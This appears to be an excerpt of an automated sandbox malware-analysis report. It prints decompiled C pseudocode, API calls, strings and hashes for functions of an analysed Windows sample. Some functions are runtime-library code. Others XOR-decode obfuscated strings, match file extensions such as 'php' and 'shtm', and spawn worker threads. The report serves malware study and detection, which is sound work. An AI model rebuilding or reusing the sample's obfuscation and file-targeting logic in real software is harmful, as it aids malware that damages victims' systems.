GetModuleHandleA.KERNEL32(kernel32.dll,73B74DE0,?,00425E71,?,0042E598,00000060), ref: 00427138
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00427150
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0042715D
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0042716A
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00427177
FlsAlloc.KERNEL32(00426FD9,?,0042E598,00000060), ref: 004271B4
FlsSetValue.KERNEL32(00000000,?,0042E598,00000060), ref: 004271E1
GetCurrentThreadId.KERNEL32 ref: 004271F5

Part of subcall function 00426F4B: FlsFree.KERNEL32(00000005,0042720A,?,0042E598,00000060), ref: 00426F56
Part of subcall function 00426F4B: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,0042720A,?,0042E598,00000060), ref: 0042749C
Part of subcall function 00426F4B: DeleteCriticalSection.KERNEL32(00000005,?,?,0042720A,?,0042E598,00000060), ref: 004274C6

Strings

FlsFree, xrefs: 0042716C
kernel32.dll, xrefs: 00427133
FlsGetValue, xrefs: 00427152
FlsSetValue, xrefs: 0042715F
FlsAlloc, xrefs: 0042714A

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$kernel32.dll
API String ID: 2635119114-282957996
Opcode ID: 52e987a13fb35d506fd86b80a14e14ce28e3ca3b99e17202a82400d11073703f
Instruction ID: 518297c4a16e44301f1e7625c0aa8eec90262ee5359f29959d691c69c2e9733d
Opcode Fuzzy Hash: 52e987a13fb35d506fd86b80a14e14ce28e3ca3b99e17202a82400d11073703f
Instruction Fuzzy Hash: E521C2317042619AD724AF37BE09A667FF4EB467103A1113BF644C32A0DBB8840ACF6C

Uniqueness

Uniqueness Score: -1.00%

Function 004056D7, Relevance: 22.6, APIs: 1, Strings: 14, Instructions: 136
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E004056D7(signed int __ebx, void* __ecx, intOrPtr __edi, void* __esi, intOrPtr __ebp, signed int _a16, signed int _a17, signed int _a18, signed int _a19, char _a20, char _a24, char _a28, char _a36, char _a40, char _a44, char _a48, char _a52, char _a56, char _a60, char _a64, signed char _a68, signed char _a69, signed char _a70, signed char _a71, char _a72, char _a76, char _a77, char _a78, char _a79, char _a84, char _a85, char _a86, char _a87, char _a88, char _a92, char _a93, char _a94, char _a95, char _a96, char _a100, char _a101, char _a102, char _a103, char _a104, char _a108, char _a112, char _a120, intOrPtr _a124, char* _a128, char* _a132, intOrPtr _a136, char* _a140, char* _a144, char* _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, char* _a172, char* _a176, char* _a180, char* _a184, intOrPtr _a188, char* _a192, char* _a196, char* _a200, char* _a204, char* _a208, intOrPtr _a212, char* _a216, signed char* _a220, char* _a224, signed int* _a228, char* _a232, char* _a236, intOrPtr _a240, char _a244, char _a252, char _a253, char _a254, char _a255, char _a256, char _a260, intOrPtr _a268, intOrPtr _a276) {
				char _t104;
				void* _t119;
				signed int _t127;
				void* _t130;
				void* _t163;
				void* _t164;
				CHAR* _t166;
				void* _t170;
				void* _t171;

				_t163 = __esi;
				_t130 = __ecx;
				_t127 = __ebx;
				do {
					_t104 =  *((intOrPtr*)(_t170 + _t130 + 0x10));
					 *((char*)(_t170 + _t130 + 0x10)) =  *((intOrPtr*)(_t170 + _t163 + 0x10));
					_t130 = _t130 + 1;
					 *((char*)(_t170 + _t163 + 0x10)) = _t104;
					_t163 = _t163 - 1;
				} while (_t130 < _t163);
				_a68 = _a16 ^ 0x000000d4;
				_a69 = _a17 ^ 0x00000019;
				_a70 = _a18 ^ 0x000000c7;
				_a71 = _a19 ^ 0x000000dc;
				_a136 = _a124;
				_a128 =  &_a88;
				_a132 =  &_a40;
				_a140 =  &_a108;
				_a144 =  &_a48;
				_a148 =  &_a260;
				_a152 =  &_a96;
				_a156 =  &_a56;
				_a160 =  &_a244;
				_a164 =  &_a112;
				_a168 =  &_a64;
				_a172 =  &_a104;
				_a176 =  &_a72;
				_a180 =  &_a120;
				_a184 =  &_a20;
				_a192 =  &_a24;
				_a196 =  &_a28;
				_a200 =  &_a36;
				 *0x431c84 = 6;
				_a76 = 0x70;
				_a77 = 0x68;
				_a78 = 0x70;
				_a79 = __ebx;
				_a16 = 0x70;
				_a17 = 0x6c;
				_a18 = __ebx;
				_a84 = 0x73;
				_a85 = 0x68;
				_a86 = 0x74;
				_a87 = __ebx;
				_a252 = 0x73;
				_a253 = 0x68;
				_a254 = 0x74;
				_a255 = 0x6d;
				_a256 = __ebx;
				_a92 = 0xc3;
				_a93 = 0x49;
				_a94 = 0xc5;
				_a95 = 0x38;
				_a100 = 0xef;
				_a101 = 0x9c;
				_a102 = 0xe8;
				_a103 = 0x85;
				_a188 = __edi;
				_a204 =  &_a44;
				_a208 =  &_a52;
				_a212 = __ebp;
				_a216 =  &_a60;
				_a220 =  &_a68;
				_a228 =  &_a16;
				_a224 =  &_a76;
				_a232 =  &_a84;
				_push(4);
				_push( &_a92);
				_a236 =  &_a252;
				_a240 = E00405290( &_a100);
				_t119 = E00425420(_a276, _a276, 0x2e);
				_t171 = _t170 + 0x10;
				_t164 = _t119;
				if(_t164 == __ebx) {
					L6:
					return E00424873(0, _a268);
				} else {
					_t166 = _t164 + 1;
					while(lstrcmpiA(_t166,  *(_t171 + 0x7c + _t127 * 4)) != 0) {
						_t127 = _t127 + 1;
						if(_t127 < 0x1d) {
							continue;
						} else {
							goto L6;
						}
						goto L8;
					}
					asm("pushfd");
					asm("popfd");
					return E00424873(1, _a268);
				}
				L8:
			}

0x004056d7
0x004056d7
0x004056d7
0x004056e0
0x004056e4
0x004056e8
0x004056ec
0x004056ed
0x004056f1
0x004056f2
0x00405704
0x00405714
0x00405718
0x0040571c
0x00405724
0x0040572f
0x0040573a
0x00405745
0x00405750
0x0040575e
0x00405769
0x00405774
0x00405782
0x00405795
0x0040579c
0x004057a3
0x004057b6
0x004057bd
0x004057c4
0x004057d7
0x004057de
0x004057e5
0x004057f8
0x004057ff
0x00405804
0x00405809
0x0040580e
0x00405812
0x00405817
0x0040581c
0x00405820
0x00405825
0x0040582a
0x0040582f
0x00405833
0x0040583b
0x00405843
0x0040584b
0x00405853
0x0040585a
0x0040585f
0x00405864
0x00405869
0x0040586e
0x00405873
0x00405878
0x0040587d
0x00405882
0x00405889
0x00405890
0x00405897
0x0040589e
0x004058a9
0x004058b8
0x004058c3
0x004058ce
0x004058dc
0x004058de
0x004058e3
0x004058f9
0x00405900
0x00405905
0x00405909
0x0040590d
0x00405928
0x0040593f
0x0040590f
0x00405915
0x00405916
0x00405922
0x00405926
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405926
0x00405949
0x0040594d
0x0040595a
0x0040595a
0x00000000

APIs

lstrcmpiA.KERNEL32(00000001,?), ref: 0040591C

Strings

s, xrefs: 00405833
m, xrefs: 0040584B
h, xrefs: 00405825
p, xrefs: 004057FF
l, xrefs: 00405817
h, xrefs: 00405804
I, xrefs: 0040585F
t, xrefs: 0040582A
h, xrefs: 0040583B
p, xrefs: 00405812
s, xrefs: 00405820
8, xrefs: 00405869
t, xrefs: 00405843
p, xrefs: 00405809

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: lstrcmpi
String ID: 8$I$h$h$h$l$m$p$p$p$s$s$t$t
API String ID: 1586166983-836531014
Opcode ID: c551d58301de94b49f58040fdcf9b67c258c93dad7b6ae3476c092270a46f89b
Instruction ID: ddc3989274f41c865424de3cc52be35b417f690ad59d001c0b011bec1893c2dd
Opcode Fuzzy Hash: c551d58301de94b49f58040fdcf9b67c258c93dad7b6ae3476c092270a46f89b
Instruction Fuzzy Hash: B471C07540D3C18AD326CB289040BDBFBE1ABD6204F448E6EE5D947392D7B59109CB67

Uniqueness

Uniqueness Score: -1.00%

Function 0041B010, Relevance: 21.2, APIs: 2, Strings: 12, Instructions: 220
stringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0041B010(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4) {
				intOrPtr _v4;
				char _v1028;
				char _v1029;
				char _v1030;
				char _v1031;
				char _v1032;
				char _v1033;
				char _v1034;
				char _v1035;
				char _v1036;
				char _v1037;
				char _v1038;
				char _v1039;
				char _v1040;
				char _v1041;
				char _v1042;
				char _v1043;
				char _v1044;
				char _v1047;
				char _v1048;
				char _v1049;
				char _v1050;
				char _v1051;
				char _v1052;
				char _v1053;
				char _v1054;
				char _v1055;
				char _v1056;
				char _v1057;
				char _v1058;
				char _v1059;
				char _v1060;
				char _v1061;
				char _v1062;
				char _v1063;
				char _v1064;
				char _v1067;
				char _v1068;
				char _v1069;
				char _v1070;
				char _v1071;
				char _v1072;
				char _v1073;
				char _v1074;
				char _v1075;
				char _v1076;
				char _v1077;
				char _v1078;
				char _v1079;
				char _v1080;
				char _v1081;
				char _v1082;
				char _v1083;
				char _v1084;
				intOrPtr _t127;
				void* _t129;
				intOrPtr _t130;
				void* _t137;
				void* _t140;
				void* _t145;
				void* _t149;
				void* _t166;
				intOrPtr _t174;
				CHAR* _t191;
				void* _t194;
				intOrPtr _t197;
				intOrPtr* _t200;
				void* _t201;

				_t201 =  &_v1084;
				_t127 =  *0x4310d8; // 0xd0c2a9a8
				_push(__edi);
				_push(__ecx);
				_pop(_t194);
				_v4 = _t127;
				_v1064 = 0xf;
				_v1052 = 0xf;
				_v1057 = 0xa9;
				_v1047 = 0xa9;
				_v1067 = 0xa9;
				_v1063 = 0xc9;
				_v1062 = 0x5b;
				_v1061 = 0xb1;
				_v1060 = 0x62;
				_v1059 = 0x6e;
				_v1058 = 0xf2;
				_v1056 = 0xc1;
				_v1055 = 0xea;
				_v1054 = 0xdf;
				_v1053 = 0x8d;
				_v1051 = 0xab;
				_v1050 = 0x78;
				_v1049 = 0xd3;
				_v1048 = 0xb8;
				_v1084 = 0x42;
				_v1083 = 0x88;
				_v1082 = 0x12;
				_v1081 = 0xfd;
				_v1080 = 0x42;
				_v1079 = 0x28;
				_v1078 = 0xa0;
				_v1077 = 0xe6;
				_v1076 = 0x8c;
				_v1075 = 0xd0;
				_v1074 = 0xff;
				_v1073 = 0xb1;
				_v1072 = 0x2a;
				_v1071 = 0xd8;
				_v1070 = 0x46;
				_v1069 = 0xde;
				_v1068 = 0xb2;
				_t129 = 0;
				do {
					 *(_t201 + _t129 + 0x24) =  *(_t201 + _t129 + 0x24) ^  *(_t201 + _t129 + 0x10);
					 *(_t201 + _t129 + 0x25) =  *(_t201 + _t129 + 0x25) ^  *(_t201 + _t129 + 0x11);
					 *(_t201 + _t129 + 0x26) =  *(_t201 + _t129 + 0x26) ^  *(_t201 + _t129 + 0x12);
					 *(_t201 + _t129 + 0x27) =  *(_t201 + _t129 + 0x27) ^  *(_t201 + _t129 + 0x13);
					 *(_t201 + _t129 + 0x28) =  *(_t201 + _t129 + 0x28) ^  *(_t201 + _t129 + 0x14);
					 *(_t201 + _t129 + 0x29) =  *(_t201 + _t129 + 0x29) ^  *(_t201 + _t129 + 0x15);
					_t129 = _t129 + 6;
				} while (_t129 < 0x12);
				_t197 = _a4;
				if( *((intOrPtr*)(_t197 + 0x18)) < 0x10) {
					_t130 = _t197 + 4;
				} else {
					_t130 =  *((intOrPtr*)(_t197 + 4));
				}
				 *0x431f14( &_v1028,  &_v1064, _t130);
				_t158 = lstrlenA;
				_push(lstrlenA( &_v1028));
				_push( &_v1028);
				_t166 = _t194;
				if(E0041BC30( &_v1028, _t166) == 0xffffffff) {
					L13:
					goto L14;
				} else {
					_t200 = _t194 + 0x24;
					_t140 = E0041ABE0(lstrlenA, _t194, _t200);
					if(_t140 != 0) {
						L20:
						7 = _t140;
						__eflags = 7 - 6;
						if(7 == 6) {
							L14:
							 *((intOrPtr*)(_t194 + 0x28)) =  *((intOrPtr*)(_t194 + 0x1c));
							E0041BAF0(_t194);
							L15:
							_t137 = 7;
							return E00424873(_t137, _v4);
						}
						__eflags = 7 - 7;
						if(7 == 7) {
							goto L14;
						}
						__eflags = 7;
						if(7 == 0) {
							goto L15;
						}
						L23:
						_t210 =  *((intOrPtr*)(_t194 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t194 + 4)) != 0xffffffff) {
							E0041AE80(_t194, 7, _t210);
							E0041BA60();
						}
						goto L15;
					}
					if( *_t200 == 0xfa) {
						_v1041 = 0xa6;
						_v1077 = 0xa6;
						_v1044 = 0x30;
						_v1043 = 0x8f;
						_v1042 = 0x59;
						_v1040 = 0xc8;
						_v1039 = 0xd5;
						_v1038 = 0xf3;
						_v1037 = 0xb9;
						_v1036 = 0xf6;
						_v1035 = 6;
						_v1034 = 0x72;
						_v1033 = 0x49;
						_v1032 = 0x70;
						_v1031 = 0xbe;
						_v1030 = 0x82;
						_v1029 = 0xfb;
						_v1084 = 0x88;
						_v1083 = 0xda;
						_v1082 = 0x99;
						_v1081 = 0xc9;
						_v1080 = 0x9d;
						_v1079 = 0xbd;
						_v1078 = 0xe9;
						_v1076 = 0x9c;
						_v1075 = 0xbc;
						_v1074 = 0x80;
						_v1073 = 0xa5;
						_v1072 = 0xd6;
						_v1071 = 0xe8;
						_v1070 = 0xe5;
						_v1069 = 0xef;
						_t145 = E0041AAF0(0x10,  &_v1044);
						__eflags =  *((intOrPtr*)(_t197 + 0x50)) - 0x10;
						if( *((intOrPtr*)(_t197 + 0x50)) < 0x10) {
							_t174 = _t197 + 0x3c;
						} else {
							_t174 =  *((intOrPtr*)(_t197 + 0x3c));
						}
						_t191 =  &_v1028;
						 *0x431f14(_t191, _t145, _t174);
						_t149 = E0041BC30(lstrlenA( &_v1028), _t194,  &_v1028, _t148);
						__eflags = _t149 - 0xffffffff;
						if(_t149 != 0xffffffff) {
							_t140 = E0041ABE0(_t158, _t194, _t200);
							__eflags = _t140;
							if(_t140 != 0) {
								goto L20;
							}
							__eflags =  *_t200 - 0xfa;
							if(__eflags == 0) {
								_t140 = E0041AD70(_t158, _t194, _t194, _t197, _t200, __eflags, _t197);
								goto L20;
							}
							_push(_t191);
							7 = 8;
							goto L23;
						} else {
							goto L13;
						}
					}
					asm("pushad");
					asm("popad");
					7 = 8;
					goto L23;
				}
			}

0x0041b010
0x0041b016
0x0041b01e
0x0041b01f
0x0041b020
0x0041b023
0x0041b02c
0x0041b032
0x0041b038
0x0041b03c
0x0041b040
0x0041b044
0x0041b049
0x0041b04e
0x0041b052
0x0041b057
0x0041b05c
0x0041b061
0x0041b066
0x0041b06b
0x0041b070
0x0041b075
0x0041b07a
0x0041b07f
0x0041b084
0x0041b089
0x0041b08d
0x0041b092
0x0041b097
0x0041b09c
0x0041b0a0
0x0041b0a5
0x0041b0aa
0x0041b0af
0x0041b0b4
0x0041b0b9
0x0041b0be
0x0041b0c2
0x0041b0c7
0x0041b0cc
0x0041b0d1
0x0041b0d6
0x0041b0db
0x0041b0e0
0x0041b0f2
0x0041b106
0x0041b10e
0x0041b11e
0x0041b126
0x0041b130
0x0041b134
0x0041b137
0x0041b13c
0x0041b147
0x0041b14e
0x0041b149
0x0041b149
0x0041b149
0x0041b15c
0x0041b162
0x0041b172
0x0041b177
0x0041b179
0x0041b182
0x0041b298
0x00000000
0x0041b188
0x0041b188
0x0041b193
0x0041b195
0x0041b2e9
0x0041b2ea
0x0041b2eb
0x0041b2ee
0x0041b29d
0x0041b2a2
0x0041b2a5
0x0041b2aa
0x0041b2b3
0x0041b2c2
0x0041b2c2
0x0041b2f0
0x0041b2f3
0x00000000
0x00000000
0x0041b2f5
0x0041b2f7
0x00000000
0x00000000
0x0041b2f9
0x0041b2f9
0x0041b2fd
0x0041b301
0x0041b308
0x0041b308
0x00000000
0x0041b2fd
0x0041b1a2
0x0041b1b4
0x0041b1b8
0x0041b1c6
0x0041b1cb
0x0041b1d0
0x0041b1d5
0x0041b1da
0x0041b1df
0x0041b1e4
0x0041b1e9
0x0041b1ee
0x0041b1f3
0x0041b1f8
0x0041b1fd
0x0041b202
0x0041b207
0x0041b20c
0x0041b211
0x0041b216
0x0041b21b
0x0041b220
0x0041b225
0x0041b22a
0x0041b22f
0x0041b234
0x0041b239
0x0041b23e
0x0041b243
0x0041b248
0x0041b24d
0x0041b252
0x0041b257
0x0041b25c
0x0041b261
0x0041b265
0x0041b26c
0x0041b267
0x0041b267
0x0041b267
0x0041b271
0x0041b276
0x0041b28e
0x0041b293
0x0041b296
0x0041b2cd
0x0041b2cd
0x0041b2cf
0x00000000
0x00000000
0x0041b2d1
0x0041b2d8
0x0041b2e4
0x00000000
0x0041b2e4
0x0041b2da
0x0041b2de
0x00000000
0x00000000
0x00000000
0x00000000
0x0041b296
0x0041b1a4
0x0041b1a5
0x0041b1a8
0x00000000
0x0041b1a8

APIs

lstrlenA.KERNEL32(?,-00000023,?,00000023), ref: 0041B170
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000), ref: 0041B284

Part of subcall function 0041AD70: lstrlenA.KERNEL32 ref: 0041ADCA

Strings

r, xrefs: 0041B1F3
p, xrefs: 0041B1FD
*, xrefs: 0041B0C2
n, xrefs: 0041B057
[, xrefs: 0041B049
(, xrefs: 0041B0A0
x, xrefs: 0041B07A
F, xrefs: 0041B0CC
b, xrefs: 0041B052
I, xrefs: 0041B1F8
0, xrefs: 0041B1C6
Y, xrefs: 0041B1D0

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: lstrlen
String ID: ($*$0$F$I$Y$[$b$n$p$r$x
API String ID: 1659193697-2061847989
Opcode ID: d3a051a1c44b5bc9e0e557438b5f7e92892294746686c601e9c8b96e919361d9
Instruction ID: 91a733a3330129fd1ac6fdf092b8847fed816fd03254db6be5d3c359a8fb6bcc
Opcode Fuzzy Hash: d3a051a1c44b5bc9e0e557438b5f7e92892294746686c601e9c8b96e919361d9
Instruction Fuzzy Hash: A6A15B6110C7C28AC322DB3C589859FBFD55EA7228F580B9EF0E5472E2C3558649C3AB

Uniqueness

Uniqueness Score: -1.00%

Function 00401260, Relevance: 21.1, APIs: 14, Instructions: 132
threadsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00401260(void* __ecx, void* _a4) {
				void* _v0;
				void* _v4;
				void _v8;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				long _v32;
				long _v36;
				long _v40;
				signed int _t35;
				void* _t48;
				void* _t83;
				signed int _t84;
				void* _t87;
				void** _t88;
				long* _t92;

				_t92 =  &_v32;
				_t35 = E00401000();
				_t88 = _a4;
				asm("sbb edi, edi");
				_t83 =  ~_t35 + 1;
				if(_t83 != 0) {
					_v28 = CreateThread(0, 0, E004158B0, _t88[2], 0,  &_v32);
					_v28 = CreateThread(0, 0, E00406580, _t88[2], 0,  &_v36);
					_v24 = CreateEventA(0, 1, 0, 0);
					_v20 = _t88[2];
					_v40 = CreateThread(0, 0, E0041C0F0,  &_v24, 0,  &_v40);
				}
				if(_t88[1] != 0) {
					WaitForMultipleObjects(2,  &_v24, 1, 0xffffffff);
					_v8 = _t88[2];
					_v4 = _t88[3];
					_v0 = CreateThread(0, 0, E0040BB70,  &_v8, 0,  &_v32);
				}
				if(_t83 != 0) {
					WaitForMultipleObjects(2,  &_v24, 1, 0xffffffff);
					_t84 = 0;
					do {
						CloseHandle( *(_t92 + 0x18 + _t84 * 4));
						_t84 = _t84 + 1;
					} while (_t84 < 2);
					E00401140();
					SetEvent(_v16);
					_t48 = E004074A0(_t88[2], 1);
					E004167D0(_t48 + E004074A0(_t88[2], 0));
					_t87 = _v40;
					WaitForSingleObject(_t87, 0xffffffff);
					CloseHandle(_t87);
				}
				if(_t88[1] != 0) {
					WaitForSingleObject(_a4, 0xffffffff);
					CloseHandle(_a4);
				}
				SetEvent( *_t88);
				return 0;
			}

0x00401260
0x00401266
0x0040126b
0x00401279
0x0040127b
0x0040127c
0x0040129b
0x004012b6
0x004012ca
0x004012dc
0x004012e2
0x004012e2
0x004012f2
0x004012ff
0x0040130e
0x00401320
0x00401326
0x00401326
0x00401332
0x0040133f
0x00401341
0x00401343
0x00401348
0x0040134a
0x0040134b
0x00401350
0x0040135a
0x00401365
0x0040137c
0x00401381
0x00401388
0x0040138f
0x0040138f
0x00401397
0x004013a0
0x004013ab
0x004013ab
0x004013b0
0x004013be

APIs

Part of subcall function 00401000: ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004010E1
Part of subcall function 00401000: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004010FB

CreateThread.KERNEL32(00000000,00000000,004158B0,?,00000000,?), ref: 00401292
CreateThread.KERNEL32(00000000,00000000,00406580,?,00000000,?), ref: 004012AC
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004012BA
CreateThread.KERNEL32(00000000,00000000,0041C0F0,?,00000000,?), ref: 004012E0
WaitForMultipleObjects.KERNEL32(00000002,?,00000001,000000FF), ref: 004012FF
CreateThread.KERNEL32(00000000,00000000,0040BB70,?,00000000,?), ref: 00401324
WaitForMultipleObjects.KERNEL32(00000002,?,00000001,000000FF), ref: 0040133F
CloseHandle.KERNEL32(?), ref: 00401348
SetEvent.KERNEL32(?), ref: 0040135A
WaitForSingleObject.KERNEL32(00000001,000000FF,00000000,00000000,00000001), ref: 00401388
CloseHandle.KERNEL32(00000001), ref: 0040138F
WaitForSingleObject.KERNEL32(?,000000FF), ref: 004013A0
CloseHandle.KERNEL32(?), ref: 004013AB
SetEvent.KERNEL32 ref: 004013B0

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Create$ThreadWait$CloseEventHandle$MultipleObjectObjectsSingle$EnvironmentExpandFileStrings
String ID:
API String ID: 94205885-0
Opcode ID: f714fd7dc9cf1b848fcbf6baa3b872f43579e6a1c41cad7c9b60e9636e7f0812
Instruction ID: 109f3496b703d5c848b0bbf75510f44b12918ce008f531d148e58f88355e5c24
Opcode Fuzzy Hash: f714fd7dc9cf1b848fcbf6baa3b872f43579e6a1c41cad7c9b60e9636e7f0812
Instruction Fuzzy Hash: 8E414F71244301AFE320DB65CC86F7BB3E8ABC8B14F504A2DF695A72D0DA74E8458B59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A3E3, Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 118
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E0042A3E3() {
				intOrPtr _t20;
				int _t21;
				long _t24;
				void* _t31;
				void* _t41;
				void* _t51;
				long _t52;
				void* _t57;
				signed int _t66;
				signed int _t67;
				void** _t69;
				void* _t70;
				void* _t72;
				void* _t73;

				_t70 = _t72 - 0x8c;
				_t73 = _t72 - 0x10c;
				_t20 =  *0x4310d8; // 0xd0c2a9a8
				_t52 =  *(_t70 + 0x94);
				 *((intOrPtr*)(_t70 + 0x88)) = _t20;
				_t21 = 0;
				while(_t52 !=  *((intOrPtr*)(0x4317e0 + _t21 * 8))) {
					_t21 = _t21 + 1;
					if(_t21 < 0x13) {
						continue;
					}
					break;
				}
				_t66 = _t21;
				_t67 = _t66 << 3;
				_t6 = _t67 + 0x4317e0; // 0xc0000000
				if(_t52 ==  *_t6) {
					_t21 =  *0x432048; // 0x0
					if(_t21 == 1 || _t21 == 0 &&  *0x431114 == 1) {
						_t17 = _t67 + 0x4317e4; // 0x42eec0
						_t69 = _t17;
						_t24 = E004263F0( *_t69);
						_t21 = WriteFile(GetStdHandle(0xfffffff4),  *_t69, _t24, _t70 + 0x94, 0);
					} else {
						if(_t52 != 0xfc) {
							 *((char*)(_t70 + 0x84)) = 0;
							if(GetModuleFileNameA(0, _t70 - 0x80, 0x104) == 0) {
								E00427340(_t70 - 0x80, "<program name unknown>");
							}
							_t63 = _t70 - 0x80;
							if(E004263F0(_t63) + 1 > 0x3c) {
								_t41 = _t63;
								_t63 = E004263F0(_t41) + _t70 - 0x45;
								E00425B10(E004263F0(_t41) + _t70 - 0x45, "...", 3);
								_t73 = _t73 + 0x10;
							}
							_t31 = E004263F0(_t63);
							_t12 = _t67 + 0x4317e4; // 0x42eec0
							_t14 = E004263F0( *_t12) + 0x1c; // 0x1c
							_pop(_t57);
							E004254B0(_t31 + _t14 + 0x00000003 & 0xfffffffc, _t57);
							_t51 = _t73;
							E00427340(_t51, "Runtime Error!\n\nProgram: ");
							E00427350(_t51, _t63);
							E00427350(_t51, "\n\n");
							_t15 = _t67 + 0x4317e4; // 0x42eec0
							E00427350(_t51,  *_t15);
							_push(0x12010);
							_push("Microsoft Visual C++ Runtime Library");
							_push(_t51);
							_t21 = E0042ADD1();
						}
					}
				}
				return E00424873(_t21,  *((intOrPtr*)(_t70 + 0x88)));
			}

0x0042a3e4
0x0042a3eb
0x0042a3f1
0x0042a3f6
0x0042a3fe
0x0042a407
0x0042a409
0x0042a412
0x0042a416
0x00000000
0x00000000
0x00000000
0x0042a416
0x0042a419
0x0042a41a
0x0042a41d
0x0042a423
0x0042a429
0x0042a431
0x0042a51e
0x0042a51e
0x0042a526
0x0042a538
0x0042a448
0x0042a44e
0x0042a45e
0x0042a46c
0x0042a477
0x0042a47d
0x0042a47e
0x0042a48e
0x0042a491
0x0042a4a2
0x0042a4aa
0x0042a4af
0x0042a4af
0x0042a4b3
0x0042a4b8
0x0042a4c5
0x0042a4cd
0x0042a4d1
0x0042a4d7
0x0042a4de
0x0042a4e5
0x0042a4f0
0x0042a4f5
0x0042a4fc
0x0042a501
0x0042a506
0x0042a50b
0x0042a50c
0x0042a511
0x0042a44e
0x0042a431
0x0042a559

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000,00000000), ref: 0042A464
_strlen.LIBCMT ref: 0042A484
_strlen.LIBCMT ref: 0042A493
_strlen.LIBCMT ref: 0042A4B3
_strlen.LIBCMT ref: 0042A4C0
_strlen.LIBCMT ref: 0042A526
GetStdHandle.KERNEL32(000000F4,0042EEC0,00000000,?,00000000,00000000,00000000,00000000), ref: 0042A531
WriteFile.KERNEL32(00000000), ref: 0042A538

Strings

<program name unknown>, xrefs: 0042A471
..., xrefs: 0042A4A4
Microsoft Visual C++ Runtime Library, xrefs: 0042A506
Runtime Error!Program: , xrefs: 0042A4D8

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
